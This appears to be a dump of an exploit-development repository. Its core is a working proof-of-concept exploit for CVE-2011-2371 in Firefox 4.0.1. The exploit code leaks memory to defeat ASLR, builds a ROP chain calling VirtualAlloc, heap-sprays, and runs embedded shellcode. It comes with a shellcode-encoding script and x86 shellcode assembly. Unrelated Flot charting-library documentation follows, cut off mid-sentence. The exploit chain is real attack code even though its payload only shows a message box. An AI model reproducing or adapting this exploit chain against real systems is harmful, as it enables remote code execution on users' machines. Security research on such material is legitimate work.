├── cve-2011-2371
    ├── bin2uni.py
    ├── jspack.js
    ├── poc.w7.html
    ├── w32-msgbox-shellcode-hash-list.asm
    └── w32-msgbox-shellcode.asm
├── ff-hashleak
    ├── flot
    │   ├── API.txt
    │   ├── FAQ.txt
    │   ├── LICENSE.txt
    │   ├── Makefile
    │   ├── NEWS.txt
    │   ├── PLUGINS.txt
    │   ├── README.txt
    │   ├── examples
    │   │   ├── ajax.html
    │   │   ├── annotating.html
    │   │   ├── arrow-down.gif
    │   │   ├── arrow-left.gif
    │   │   ├── arrow-right.gif
    │   │   ├── arrow-up.gif
    │   │   ├── basic.html
    │   │   ├── data-eu-gdp-growth-1.json
    │   │   ├── data-eu-gdp-growth-2.json
    │   │   ├── data-eu-gdp-growth-3.json
    │   │   ├── data-eu-gdp-growth-4.json
    │   │   ├── data-eu-gdp-growth-5.json
    │   │   ├── data-eu-gdp-growth.json
    │   │   ├── data-japan-gdp-growth.json
    │   │   ├── data-usa-gdp-growth.json
    │   │   ├── graph-types.html
    │   │   ├── hs-2004-27-a-large_web.jpg
    │   │   ├── image.html
    │   │   ├── index.html
    │   │   ├── interacting-axes.html
    │   │   ├── interacting.html
    │   │   ├── layout.css
    │   │   ├── multiple-axes.html
    │   │   ├── navigate.html
    │   │   ├── percentiles.html
    │   │   ├── pie.html
    │   │   ├── realtime.html
    │   │   ├── resize.html
    │   │   ├── selection.html
    │   │   ├── setting-options.html
    │   │   ├── stacking.html
    │   │   ├── symbols.html
    │   │   ├── thresholding.html
    │   │   ├── time.html
    │   │   ├── tracking.html
    │   │   ├── turning-series.html
    │   │   ├── visitors.html
    │   │   └── zooming.html
    │   ├── excanvas.js
    │   ├── excanvas.min.js
    │   ├── jquery.colorhelpers.js
    │   ├── jquery.colorhelpers.min.js
    │   ├── jquery.flot.crosshair.js
    │   ├── jquery.flot.crosshair.min.js
    │   ├── jquery.flot.fillbetween.js
    │   ├── jquery.flot.fillbetween.min.js
    │   ├── jquery.flot.image.js
    │   ├── jquery.flot.image.min.js
    │   ├── jquery.flot.js
    │   ├── jquery.flot.min.js
    │   ├── jquery.flot.navigate.js
    │   ├── jquery.flot.navigate.min.js
    │   ├── jquery.flot.pie.js
    │   ├── jquery.flot.pie.min.js
    │   ├── jquery.flot.resize.js
    │   ├── jquery.flot.resize.min.js
    │   ├── jquery.flot.selection.js
    │   ├── jquery.flot.selection.min.js
    │   ├── jquery.flot.stack.js
    │   ├── jquery.flot.stack.min.js
    │   ├── jquery.flot.symbol.js
    │   ├── jquery.flot.symbol.min.js
    │   ├── jquery.flot.threshold.js
    │   ├── jquery.flot.threshold.min.js
    │   ├── jquery.js
    │   └── jquery.min.js
    ├── lol.html
    ├── readme.txt
    ├── style.css
    ├── uint.js
    ├── underscore-min.js
    └── utils.js
├── jit-ff-4.0.1
    ├── _how_to.jpg
    ├── jit.html
    ├── readme.txt
    └── shell0.txt
└── osx.dyld.rop
    ├── README
    ├── makefile
    ├── precompiled.txt
    ├── sc.asm
    └── x64_shellcode.asm


/cve-2011-2371/bin2uni.py:
--------------------------------------------------------------------------------
 1 | import sys
 2 | 
 3 | if __name__=="__main__":
 4 |     if len(sys.argv)<2:
 5 |         print sys.argv[0], "<bin file>"
 6 |         sys.exit(1)
 7 |     
 8 |     f = open(sys.argv[1], "rb")
 9 |     b = f.read()
10 |     f.close()
11 |     
12 |     if len(b)%2==1:
13 |         b = b+"\x90"
14 | 
15 |     l = []
16 |     for i in range(len(b)/2):
17 |         c1 = ord(b[2*i])
18 |         c2 = ord(b[2*i+1])
19 |         o = "%%u%02x%02x"%(c2,c1)
20 |         l.append(o)
21 |     
22 |     s = "".join(l)
23 |     print s
24 | 


--------------------------------------------------------------------------------
/cve-2011-2371/jspack.js:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pakt/exp-dev/a9e8d4eec8001813a1f3f65b46d907db609fb323/cve-2011-2371/jspack.js


--------------------------------------------------------------------------------
/cve-2011-2371/poc.w7.html:
--------------------------------------------------------------------------------
  1 | <!--
  2 | 
  3 | PoC exploit for CVE-2011-2371
  4 | 
  5 | tested against Firefox 4.0.1
  6 | md5 of mozjs.dll: 5d7ffcc9deb5bb08417ceae51d2afed4
  7 | 
  8 | change constants to switch between w7/xp.
  9 | see my blog if you want to know how this works.
 10 | 
 11 | p_k
 12 | twitter.com/pa_kt
 13 | gdtr.wordpress.com
 14 | -->
 15 | 
 16 | <html>
 17 |     <script src="jspack.js"></script>
 18 |     <script>
 19 |     
 20 | 
 21 |     function hex(x){
 22 |         var y = x.toString(16);
 23 |         y = "0x"+y;
 24 |         return y;
 25 |     }
 26 | 
 27 |     function itoa(i)
 28 |     { 
 29 |        return String.fromCharCode(i);
 30 |     }
 31 |     
 32 |     // n - length in bytes (1 unicode char = 2 bytes)
 33 |     function puff(x, n){
 34 |         while(x.length < n) x += x;
 35 | 
 36 |         return x.substring(0,n);
 37 |     }
 38 |         
 39 |       function arr2hex(tab){
 40 |           var s = "";
 41 |           for(var i in tab){
 42 |               x = tab[i];
 43 |               x = x.toString(16);
 44 |               if(x.length<2)
 45 |                 x = "0"+x;
 46 |               s += x + " ";
 47 |             }
 48 |             return s;
 49 |         }
 50 | 
 51 |         function arr2ascii(tab){
 52 |             var s = ""
 53 |             for(var i in tab){
 54 |                 x = tab[i];
 55 |                 if(0x20 <= x && x<=0x7f){
 56 |                     y = itoa(x);
 57 |                 }
 58 |                 else{
 59 |                     y = ".";
 60 |                 }
 61 |                 s += y;
 62 |             }
 63 |             return s;
 64 |         }
 65 | 
 66 |     function xchg(d,i,j){
 67 |         t = d[i];
 68 |         d[i] = d[j];
 69 |         d[j] = t;
 70 |     }
 71 | 
 72 |     function bswap(d){
 73 |         xchg(d, 0, 3);
 74 |         xchg(d, 1, 2);
 75 |     }
 76 |     
 77 |     function nicer(tab){
 78 |           jsp = new JSPack();
 79 |           res = [];
 80 |           for(var i in tab){
 81 |               x = tab[i];
 82 |               t = jsp.Pack("d", [x]);
 83 |               d1 = t.slice(0, 4);
 84 |               d2 = t.slice(4, 8);
 85 |               bswap(d1);
 86 |               bswap(d2);
 87 |               t = [d1,d2]; 
 88 |               res = res.concat(t);
 89 |           }
 90 |           res = res.reverse();
 91 |           return res;
 92 |     }
 93 | 
 94 |     function dw2int(d){
 95 |         n = 0;
 96 |         for(var i=0;i<4;i++){
 97 |             n *= 256;
 98 |             n += d[3-i];
 99 |         }
100 |         return n;
101 |     }
102 |     
103 |       function convert(tab){
104 | 
105 |           o = s = v = "";
106 |           for(var i in tab){
107 |               d = tab[i];
108 |               s += arr2hex(d);
109 |               v += arr2ascii(d);
110 |               if((parseInt(i)+1)%4==0){
111 |                   o += s + " | " + v + "\n";
112 |                   s = "";
113 |                   v = "";
114 |               }
115 |           }
116 |           return o;
117 |       }
118 | 
119 |     function check_pair(d1, d2){
120 |         var n1 = dw2int(d1);
121 |         var n2 = dw2int(d2);
122 | 
123 |         if(n2-n1 == 0x304)
124 |             return true;
125 |         return false;
126 |     }
127 | 
128 |     function find_mozjs_base(tab){
129 |         var n1 = 0;
130 |         for(var i=0;i<tab.length-4;i++){
131 |             d1 = tab[i];
132 |             d2 = tab[i+1];
133 |             if(check_pair(d1,d2)){
134 |                 n1 = dw2int(d1);
135 |                 n1 = n1 - 0x3cac;   //n1 = mozjs .data
136 |                 n1 = n1 - 0x1B2000; //n1 = mozjs base
137 |                 break;
138 |             }
139 |         }
140 | 
141 |         return n1;
142 |     }
143 | 
144 |     function d2u(dword){
145 |         var uni = String.fromCharCode(dword & 0xFFFF);
146 |         uni += String.fromCharCode(dword>>16);
147 |         return uni;
148 |     }
149 | 
150 |     function odd_d2u(d1, d2){
151 | 		uni = String.fromCharCode((d1&0xFF)<<8);
152 | 		uni += String.fromCharCode((d1>>8)&0xFFFF);
153 |         uni += String.fromCharCode((d1>>24)+((d2 & 0xFF)<<8)); //1+1<<8 == 512 in JS T_T
154 | 		uni += String.fromCharCode((d2>>8)&0xFFFF);
155 |         uni += String.fromCharCode(d2>>24);
156 |         return uni;
157 |     }
158 | 
159 |     // generated with mona.py
160 |     function rop_chain(mozjs_base){
161 |         var arr = [
162 |             mozjs_base + 0x000c96e6,	// POP EAX // RETN [mozjs.dll] 
163 |             mozjs_base + 0x0015d054,	// ptr to &VirtualAlloc() [IAT mozjs.dll]
164 |             mozjs_base + 0x00028510,	// MOV EAX,DWORD PTR DS:[EAX] // RETN [mozjs.dll] 
165 |             mozjs_base + 0x0014293c,	// XCHG EAX,ESI // RETN [mozjs.dll] 
166 |             mozjs_base + 0x0014d00d,	// POP EBP // RETN [mozjs.dll] 
167 |             mozjs_base + 0x000d7ee2,	// & push esp //  ret 04 [mozjs.dll]
168 |             mozjs_base + 0x000be327,	// POP EBX // RETN [mozjs.dll] 
169 |             0x00000001,                 	// 0x00000001-> ebx
170 |             mozjs_base + 0x0004f422,	// POP EDX // RETN [mozjs.dll] 
171 |             0x00001000,                 	// 0x00001000-> edx
172 |             mozjs_base + 0x000b1421,	// POP ECX // RETN [mozjs.dll] 
173 |             0x00000040,                 	// 0x00000040-> ecx
174 |             mozjs_base + 0x000062e3,	// POP EDI // RETN [mozjs.dll] 
175 |             mozjs_base + 0x0000f005,	// RETN (ROP NOP) [mozjs.dll]
176 |             mozjs_base + 0x000652f0,	// POP EAX // RETN [mozjs.dll] 
177 |             0x90909090,                 	// nop
178 |             mozjs_base + 0x001372bd 	// PUSHAD // RETN [mozjs.dll] 
179 |             ];
180 |         return arr;
181 |     }
182 |     
183 |     function tab2uni(tab){
184 |         var uni = ""
185 |         for(var i=0;i<tab.length;i++){
186 |             uni += d2u(tab[i]);
187 |         }
188 |         return uni;
189 |     }
190 | 
191 |     function spray(mozjs_base, h1_s, hsize) {
192 | 
193 |         function rva2va(addr) { return addr+mozjs_base; }
194 |         function rva2d(addr) { return d2u(rva2va(addr)); }
195 |         
196 |         var align = 0x100000;
197 |         var tab_offset = 0x1000;
198 |         var TYPE_OBJECT = "%u0007%uffff";
199 |         var pivot_rva = 0x1a21c;        // 0x68e7a21c :  # ADD EBP,EBX # PUSH DS # POP EDI # POP ESI # POP EBX # MOV ESP,EBP # POP EBP # RETN 
200 |         var mov_esp_ebp_rva = 0x1a222;	// mov esp, ebp # pop ebp # ret
201 | 
202 |         var h2_s = h1_s + hsize;
203 |         var h2_middle = (h2_s + hsize/2) & (~(align-1)); //align
204 | 
205 |         //mov     eax,dword ptr [edi+64h]   ;edi=[h2_ptr+4], later: call eax
206 | 
207 |         var h2_ptr = h2_middle + tab_offset;
208 |         var off1 = h2_ptr;
209 |         var off2 = h2_ptr-0x64;
210 |         var v1 = d2u(off1);
211 |         var h1_fill = unescape(v1+TYPE_OBJECT);
212 |         var foo = puff(h1_fill, 0x4000);
213 |         var h1_spray = foo.substring(0,(0x4000/2)-2);
214 |         
215 |         var pivot_va = rva2va(pivot_rva);
216 |         pivot_va = d2u(pivot_va);
217 |         off2 = d2u(off2);
218 |         var new_ebp = h2_ptr+18;
219 |         var mov_esp_ebp_va = rva2va(mov_esp_ebp_rva);
220 |         var set_esp = odd_d2u(new_ebp, mov_esp_ebp_va);
221 | 
222 |         var rop = tab2uni(rop_chain(mozjs_base));
223 | 
224 |         //shellcode by skylined
225 |         var msgbox_shellcode = "%uf631%u6456%u768b%u8b30%u0c76%u768b%u8b1c%u086e%u368b%u5d8b%u8b3c%u1d5c%u0178%u8beb%u184b%ue367%u8bec%u207b%uef01%u7c8b%ufc8f%uef01%uc031%u3299%u6617%ucac1%uae01%uf775%u8166%u2afa%u74b6%u6609%ufa81%u1aaa%udbe0%uc575%u538b%u0124%u0fea%u14b7%u8b4a%u1c7b%uef01%u2c03%u8597%u74f6%u6812%u3233%u2020%u7568%u6573%u5472%ud5ff%u3195%uebf6%u56a3%u3168%u0021%u6800%u322d%u3733%u3268%u3130%u6831%u7663%u2d65%u8754%u2404%u5050%uff56%uccd5";
226 | 
227 |         var x = unescape(pivot_va+off2+set_esp+"%u1111%u2222"+rop+msgbox_shellcode);
228 |         x = puff(x, 0x4000);
229 |         var h2_spray = x.substring(0,(0x4000/2)-2);
230 | 
231 |         var spray_tab = new Array();
232 |         for (i=0;i<0x1000;i++){
233 |             spray_tab[i] = h1_spray+"1";
234 |             spray_tab[i].indexOf("zzz");
235 |         }
236 |         for (i=0x1000;i<0x2000;i++){
237 |             spray_tab[i] = h2_spray+"2";
238 |             spray_tab[i].indexOf("zzz");
239 |         }
240 |     }
241 | 
242 |     var exploit_func = 
243 |         function bleh(prev, current, index, array) {
244 |             //boom = typeof current;
245 |             current[4] = 1; // add ebp, ebx, where ebx=2*4+1=9
246 |             //throw "up"; 
247 |         }
248 | 
249 |     function trigger(func, arr_len){
250 |         xyz.length = arr_len;
251 |         try{
252 |           xyz.reduceRight(func,1,2,3);
253 |         }
254 |         catch(e){ }
255 |     }
256 | 
257 |     function leak(){
258 |         var CHUNK_SIZE = 0x1000;
259 |         var leak_arr_len = 0xffffffff;
260 | 
261 |         mem = [];
262 |         count = 0;
263 | 
264 |         var leak_func = 
265 |             function bleh(prev, current, index, array) {
266 |                 if(typeof current == "number"){
267 |                     mem.push(current);
268 |                 }
269 |                 count += 1;
270 |                 if(count>=CHUNK_SIZE/8){
271 |                     throw "lol";
272 |                 }
273 |         }
274 | 
275 |         function dump_mem(leak_f, arr_len){
276 |             var dump = document.getElementById("dump");
277 |             var mozjs_base = 0;
278 |             for(var i=0;;i++){
279 |                 mem = [];
280 |                 count = 0;
281 |                 trigger(leak_f, arr_len);
282 |                 mem = nicer(mem);
283 |                 s = convert(mem);
284 |                 dump.innerHTML = s;
285 | 
286 |                 //alert("leaked bytes: "+hex(mem.length*4));
287 |                 mozjs_base = find_mozjs_base(mem);
288 |                 //alert("mozjs base: "+hex(mozjs_base));
289 |                 if(mozjs_base != 0){
290 |                   break;
291 |                 }
292 |             }
293 |             return mozjs_base;
294 |         }
295 |         var base = dump_mem(leak_func, leak_arr_len);
296 |         return base;
297 |     }
298 | 
299 |     function go(){
300 |         //var arr_ptr = 0x05000000; //(xp sp3)
301 |         //var h1_s = 0x05b00000; 
302 |         //var h2_e = 0x0fb00000;
303 | 
304 |         var arr_ptr = 0x0b000000; //w7
305 |         var h1_s = 0x0b500000; 
306 |         var h2_e = 0x16e00000;
307 | 
308 |         var size = h2_e-h1_s;
309 |         var hsize = size/2;
310 | 
311 |         var h1_middle = h1_s+hsize/2;
312 |         var exp_arr_len = (h1_middle - arr_ptr)/8 + 0x80000000;
313 | 
314 |         var mozjs_base = leak();
315 |         spray(mozjs_base, h1_s, hsize);
316 | 
317 |         alert("ready");
318 | 	
319 |         while(1){
320 |             trigger(exploit_func, exp_arr_len);
321 |             exp_arr_len -= 0x500;
322 |         }
323 |     }
324 | 
325 |     // globals
326 |     var xyz = new Array();
327 | 
328 |     </script>
329 | 
330 |     <body>
331 |         <input type="button" value="go" onclick="go()" />
332 |         <pre id="dump">
333 |         </pre>
334 |     </body>
335 | 
336 |  </html>
337 | 
338 | 


--------------------------------------------------------------------------------
/cve-2011-2371/w32-msgbox-shellcode-hash-list.asm:
--------------------------------------------------------------------------------
1 | ;-- Hash function configuration --------------------------------------------

2 | hash_ror_value                          equ 0x01

3 | ;-- Function hashes --------------------------------------------------------

4 | hash_kernel32_LoadLibraryA              equ 0x1AAA

5 | hash_user32_MessageBoxA                 equ 0xB62A

6 | ;-- Warnings ---------------------------------------------------------------

7 | 


--------------------------------------------------------------------------------
/cve-2011-2371/w32-msgbox-shellcode.asm:
--------------------------------------------------------------------------------
  1 | ; Copyright (c) 2009-2010, Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
  2 | ; Project homepage: http://code.google.com/p/w32-dl-loadlib-shellcode/
  3 | ; All rights reserved. See COPYRIGHT.txt for details.
  4 | BITS 32
  5 | ; Windows x86 null-free shellcode that executes calc.exe.
  6 | ; Works in any application for Windows 5.0-7.0 all service packs.
  7 | ; (See http://skypher.com/wiki/index.php/Hacking/Shellcode).
  8 | ; This version uses 16-bit hashes.
  9 | 
 10 | %include 'w32-msgbox-shellcode-hash-list.asm'
 11 | 
 12 | %define B2W(b1,b2)                      (((b2) << 8) + (b1))
 13 | %define W2DW(w1,w2)                     (((w2) << 16) + (w1))
 14 | %define B2DW(b1,b2,b3,b4)               (((b4) << 24) + ((b3) << 16) + ((b2) << 8) + (b1))
 15 | 
 16 | %ifdef STACK_ALIGN
 17 |     AND     SP, 0xFFFC
 18 | %endif
 19 | find_hash: ; Find ntdll's InInitOrder list of modules:
 20 |     XOR     ESI, ESI                    ; ESI = 0
 21 | %ifndef DEFEAT_EAF
 22 |     PUSH    ESI                         ; Stack = 0
 23 | %endif
 24 |     MOV     ESI, [FS:ESI + 0x30]        ; ESI = &(PEB) ([FS:0x30])
 25 |     MOV     ESI, [ESI + 0x0C]           ; ESI = PEB->Ldr
 26 |     MOV     ESI, [ESI + 0x1C]           ; ESI = PEB->Ldr.InInitOrder (first module)
 27 | 
 28 | %ifdef DEFEAT_EAF
 29 |   ; The first loaded module is ntdll on x86 systems and ntdll32 on x64 systems. Both modules have this code:
 30 |   ; ntdll32!RtlGetCurrentPeb (<no parameter info>)
 31 |   ;     64a118000000    mov     eax,dword ptr fs:[00000018h]
 32 |   ;     8b4030          mov     eax,dword ptr [eax+30h]
 33 |   ;     c3              ret
 34 |   %define MEMORY_READER_OFFSET 0x30
 35 |       MOV     EDX, [ESI + 0x08]           ; EDX = InInitOrder[X].base_address == module
 36 |       MOVZX   EBP, WORD [EDX + 0x3C]      ; EBX = module->pe_header_offset
 37 |       ADD     EDX, [EDX + EBP + 0x2C]     ; EDX = module + module.pe_header->code_offset == module code
 38 |       MOV     DH, 0xF                     ; The EAF breakpoints are in tables that are at the start of ntdll,
 39 |                                           ; so we can avoid them easily...
 40 |   scan_for_memory_reader:
 41 |       INC     EDX
 42 |       CMP     DWORD [EDX], 0xC330408B     ; EDX => MOV EAX, [EAX+30], RET ?
 43 |       JNE     scan_for_memory_reader
 44 |       PUSH    EDX                         ; Save &(MOV EAX, [EAX+30], RET)
 45 | %endif
 46 | 
 47 | next_module: ; Get the baseaddress of the current module and find the next module:
 48 |     MOV     EBP, [ESI + 0x08]           ; EBP = InInitOrder[X].base_address
 49 |     MOV     ESI, [ESI]                  ; ESI = InInitOrder[X].flink == InInitOrder[X+1]
 50 | get_proc_address_loop: ; Find the PE header and export and names tables of the module:
 51 |     MOV     EBX, [EBP + 0x3C]           ; EBX = &(PE header)
 52 |     MOV     EBX, [EBP + EBX + 0x78]     ; EBX = offset(export table)
 53 |     ADD     EBX, EBP                    ; EBX = &(export table)
 54 |     MOV     ECX, [EBX + 0x18]           ; ECX = number of name pointers
 55 |     JCXZ    next_module                 ; No name pointers? Next module.
 56 | next_function_loop: ; Get the next function name for hashing:
 57 |     MOV     EDI, [EBX + 0x20]           ; EDI = offset(names table)
 58 |     ADD     EDI, EBP                    ; EDI = &(names table)
 59 |     MOV     EDI, [EDI + ECX * 4 - 4]    ; EDI = offset(function name)
 60 |     ADD     EDI, EBP                    ; EDI = &(function name)
 61 |     XOR     EAX, EAX                    ; EAX = 0
 62 |     CDQ                                 ; EDX = 0
 63 | hash_loop: ; Hash the function name and compare with requested hash
 64 |     XOR     DL, [EDI]
 65 |     ROR     DX, BYTE hash_ror_value
 66 |     SCASB
 67 |     JNE     hash_loop
 68 |     CMP     DX, hash_user32_MessageBoxA
 69 |     JE      found_MessageBoxA           ;
 70 |     CMP     DX, hash_kernel32_LoadLibraryA
 71 |     LOOPNE  next_function_loop          ; Not the right hash and functions left in module? Next function
 72 |     JNE     next_module                 ; Not the right hash and no functions left in module? Next module
 73 | found_MessageBoxA:
 74 |     ; Found the right hash: get the address of the function:
 75 |     MOV     EDX, [EBX + 0x24]           ; EDX = offset ordinals table
 76 |     ADD     EDX, EBP                    ; EDX = &oridinals table
 77 |     MOVZX   EDX, WORD [EDX + 2 * ECX]   ; EDX = ordinal number of function
 78 | %ifdef DEFEAT_EAF
 79 |     XCHG    EAX, EDI                    ; EDI = 0
 80 |     LEA     EAX, [EBX + 0x1C - MEMORY_READER_OFFSET]     ; EAX = &offset address table - MEMORY_READER_OFFSET
 81 |     POP     ECX                         ; ECX = &(ntdll:MOV EAX, [EAX+30], RET) 
 82 |     CALL    ECX                         ; EAX = [EAX + 0x30] == [&offset address table] == offset address table
 83 |     XCHG    EAX, EDI                    ; EDI = offset address table, EAX = 0
 84 |     PUSH    EAX                         ; Stack = 0
 85 | %else
 86 |     MOV     EDI, [EBX + 0x1C]           ; EDI = offset address table
 87 | %endif
 88 |     ADD     EDI, EBP                    ; EDI = &address table
 89 |     ADD     EBP, [EDI + 4 * EDX]        ; EBP = &(function)
 90 |     TEST    ESI, ESI
 91 |     JZ      message_box
 92 | 
 93 | load_library:                           ; Stack = 0 (two ways of setting it, depding on DEFEAT_EAF)
 94 |     PUSH    B2DW('3', '2', ' ', ' ')    ; Stack = "er32", 0
 95 |     PUSH    B2DW('u', 's', 'e', 'r')    ; Stack = "  user32", 0
 96 |     PUSH    ESP                         ; Stack = &("  user32"), "  user32", 0
 97 | %ifdef DEFEAT_EAF
 98 |     ; We will need to put a copy of &(ntdll:MOV EAX, [EAX+30], RET) back on the stack for the next function:
 99 |     XCHG    ECX, [ESP]                  ; Stack = &(ntdll:MOV EAX, [EAX+30], RET), ECX = &("  user32")
100 |     PUSH    ECX                         ; Stack = &("  user32"), &(ntdll:MOV EAX, [EAX+30], RET), "  user32", 0
101 | %endif
102 |     CALL    EBP                         ; LoadLibraryA(&("  user32"));
103 |     XCHG    EAX, EBP                    ; EBP = &(user32.dll)
104 |     XOR     ESI, ESI                    ; ESI = 0
105 |     JMP     get_proc_address_loop
106 | 
107 | message_box:
108 |     ; create the "Hello world!" string
109 | %ifndef DEFEAT_EAF
110 |     PUSH    ESI                         ; Stack = 0
111 | %endif
112 |     PUSH    B2DW('1', '!',  0, 0)    ; Stack = "rld!", 0
113 |     PUSH    B2DW('-', '2', '3', '7')    ; Stack = "rld!", 0
114 |     PUSH    B2DW('2', '0', '1', '1')    ; Stack = "o world!", 0
115 |     PUSH    B2DW('c', 'v', 'e', '-')    ; Stack = "Hello world!", 0
116 |     PUSH    ESP                         ; Stack = &("Hello world!"), "Hello world!", 0
117 |     XCHG    EAX, [ESP]                  ; Stack = 0, "Hello world!", 0
118 |     PUSH    EAX                         ; Stack = &("Hello world!"), 0, "Hello world!", 0
119 |     PUSH    EAX                         ; Stack = &("Hello world!"), &("Hello world!"), 0, "Hello world!", 0
120 |     PUSH    ESI                         ; Stack = 0, &("Hello world!"), &("Hello world!"), 0, "Hello world!", 0
121 |     CALL    EBP                         ; MessageBoxA(NULL, &("Hello world!"), &("Hello world!"), MB_OK);
122 |     INT3                                ; Crash
123 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/FAQ.txt:
--------------------------------------------------------------------------------
 1 | Frequently asked questions
 2 | --------------------------
 3 | 
 4 | Q: How much data can Flot cope with?
 5 | 
 6 | A: Flot will happily draw everything you send to it so the answer
 7 | depends on the browser. The excanvas emulation used for IE (built with
 8 | VML) makes IE by far the slowest browser so be sure to test with that
 9 | if IE users are in your target group.
10 | 
11 | 1000 points is not a problem, but as soon as you start having more
12 | points than the pixel width, you should probably start thinking about
13 | downsampling/aggregation as this is near the resolution limit of the
14 | chart anyway. If you downsample server-side, you also save bandwidth.
15 | 
16 | 
17 | Q: Flot isn't working when I'm using JSON data as source!
18 | 
19 | A: Actually, Flot loves JSON data, you just got the format wrong.
20 | Double check that you're not inputting strings instead of numbers,
21 | like [["0", "-2.13"], ["5", "4.3"]]. This is most common mistake, and
22 | the error might not show up immediately because Javascript can do some
23 | conversion automatically.
24 | 
25 | 
26 | Q: Can I export the graph?
27 | 
28 | A: This is a limitation of the canvas technology. There's a hook in
29 | the canvas object for getting an image out, but you won't get the tick
30 | labels. And it's not likely to be supported by IE. At this point, your
31 | best bet is probably taking a screenshot, e.g. with PrtScn.
32 | 
33 | 
34 | Q: The bars are all tiny in time mode?
35 | 
36 | A: It's not really possible to determine the bar width automatically.
37 | So you have to set the width with the barWidth option which is NOT in
38 | pixels, but in the units of the x axis (or the y axis for horizontal
39 | bars). For time mode that's milliseconds so the default value of 1
40 | makes the bars 1 millisecond wide.
41 | 
42 | 
43 | Q: Can I use Flot with libraries like Mootools or Prototype?
44 | 
45 | A: Yes, Flot supports it out of the box and it's easy! Just use jQuery
46 | instead of $, e.g. call jQuery.plot instead of $.plot and use
47 | jQuery(something) instead of $(something). As a convenience, you can
48 | put in a DOM element for the graph placeholder where the examples and
49 | the API documentation are using jQuery objects.
50 | 
51 | Depending on how you include jQuery, you may have to add one line of
52 | code to prevent jQuery from overwriting functions from the other
53 | libraries, see the documentation in jQuery ("Using jQuery with other
54 | libraries") for details.
55 | 
56 | 
57 | Q: Flot doesn't work with [insert name of Javascript UI framework]!
58 | 
59 | A: The only non-standard thing used by Flot is the canvas tag;
60 | otherwise it is simply a series of absolute positioned divs within the
61 | placeholder tag you put in. If this is not working, it's probably
62 | because the framework you're using is doing something weird with the
63 | DOM, or you're using it the wrong way.
64 | 
65 | A common problem is that there's display:none on a container until the
66 | user does something. Many tab widgets work this way, and there's
67 | nothing wrong with it - you just can't call Flot inside a display:none
68 | container as explained in the README so you need to hold off the Flot
69 | call until the container is actually displayed (or use
70 | visibility:hidden instead of display:none or move the container
71 | off-screen).
72 | 
73 | If you find there's a specific thing we can do to Flot to help, feel
74 | free to submit a bug report. Otherwise, you're welcome to ask for help
75 | on the forum/mailing list, but please don't submit a bug report to
76 | Flot.
77 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/LICENSE.txt:
--------------------------------------------------------------------------------
 1 | Copyright (c) 2007-2009 IOLA and Ole Laursen
 2 | 
 3 | Permission is hereby granted, free of charge, to any person
 4 | obtaining a copy of this software and associated documentation
 5 | files (the "Software"), to deal in the Software without
 6 | restriction, including without limitation the rights to use,
 7 | copy, modify, merge, publish, distribute, sublicense, and/or sell
 8 | copies of the Software, and to permit persons to whom the
 9 | Software is furnished to do so, subject to the following
10 | conditions:
11 | 
12 | The above copyright notice and this permission notice shall be
13 | included in all copies or substantial portions of the Software.
14 | 
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
16 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
17 | OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
18 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
19 | HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
20 | WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
21 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
22 | OTHER DEALINGS IN THE SOFTWARE.
23 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/Makefile:
--------------------------------------------------------------------------------
 1 | # Makefile for generating minified files
 2 | 
 3 | .PHONY: all
 4 | 
 5 | # we cheat and process all .js files instead of an exhaustive list
 6 | all: $(patsubst %.js,%.min.js,$(filter-out %.min.js,$(wildcard *.js)))
 7 | 
 8 | %.min.js: %.js
 9 | 	yui-compressor $< -o $@
10 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/PLUGINS.txt:
--------------------------------------------------------------------------------
  1 | Writing plugins
  2 | ---------------
  3 | 
  4 | All you need to do to make a new plugin is creating an init function
  5 | and a set of options (if needed), stuffing it into an object and
  6 | putting it in the $.plot.plugins array. For example:
  7 | 
  8 |   function myCoolPluginInit(plot) {
  9 |     plot.coolstring = "Hello!";
 10 |   };
 11 | 
 12 |   $.plot.plugins.push({ init: myCoolPluginInit, options: { ... } });
 13 | 
 14 |   // if $.plot is called, it will return a plot object with the
 15 |   // attribute "coolstring"
 16 | 
 17 | Now, given that the plugin might run in many different places, it's
 18 | a good idea to avoid leaking names. The usual trick here is wrap the
 19 | above lines in an anonymous function which is called immediately, like
 20 | this: (function () { inner code ... })(). To make it even more robust
 21 | in case $ is not bound to jQuery but some other Javascript library, we
 22 | can write it as
 23 | 
 24 |   (function ($) {
 25 |     // plugin definition
 26 |     // ...
 27 |   })(jQuery);
 28 | 
 29 | There's a complete example below, but you should also check out the
 30 | plugins bundled with Flot.
 31 | 
 32 | 
 33 | Complete example
 34 | ----------------
 35 |   
 36 | Here is a simple debug plugin which alerts each of the series in the
 37 | plot. It has a single option that control whether it is enabled and
 38 | how much info to output:
 39 | 
 40 |   (function ($) {
 41 |     function init(plot) {
 42 |       var debugLevel = 1;
 43 |     
 44 |       function checkDebugEnabled(plot, options) {
 45 |         if (options.debug) {
 46 |           debugLevel = options.debug;
 47 |             
 48 |           plot.hooks.processDatapoints.push(alertSeries);
 49 |         }
 50 |       }
 51 | 
 52 |       function alertSeries(plot, series, datapoints) {
 53 |         var msg = "series " + series.label;
 54 |         if (debugLevel > 1)
 55 |           msg += " with " + series.data.length + " points";
 56 |         alert(msg);
 57 |       }
 58 |     
 59 |       plot.hooks.processOptions.push(checkDebugEnabled);
 60 |     }
 61 | 
 62 |     var options = { debug: 0 };
 63 |     
 64 |     $.plot.plugins.push({
 65 |         init: init,
 66 |         options: options,
 67 |         name: "simpledebug",
 68 |         version: "0.1"
 69 |     });
 70 |   })(jQuery);
 71 | 
 72 | We also define "name" and "version". It's not used by Flot, but might
 73 | be helpful for other plugins in resolving dependencies.
 74 |   
 75 | Put the above in a file named "jquery.flot.debug.js", include it in an
 76 | HTML page and then it can be used with:
 77 | 
 78 |   $.plot($("#placeholder"), [...], { debug: 2 });
 79 | 
 80 | This simple plugin illustrates a couple of points:
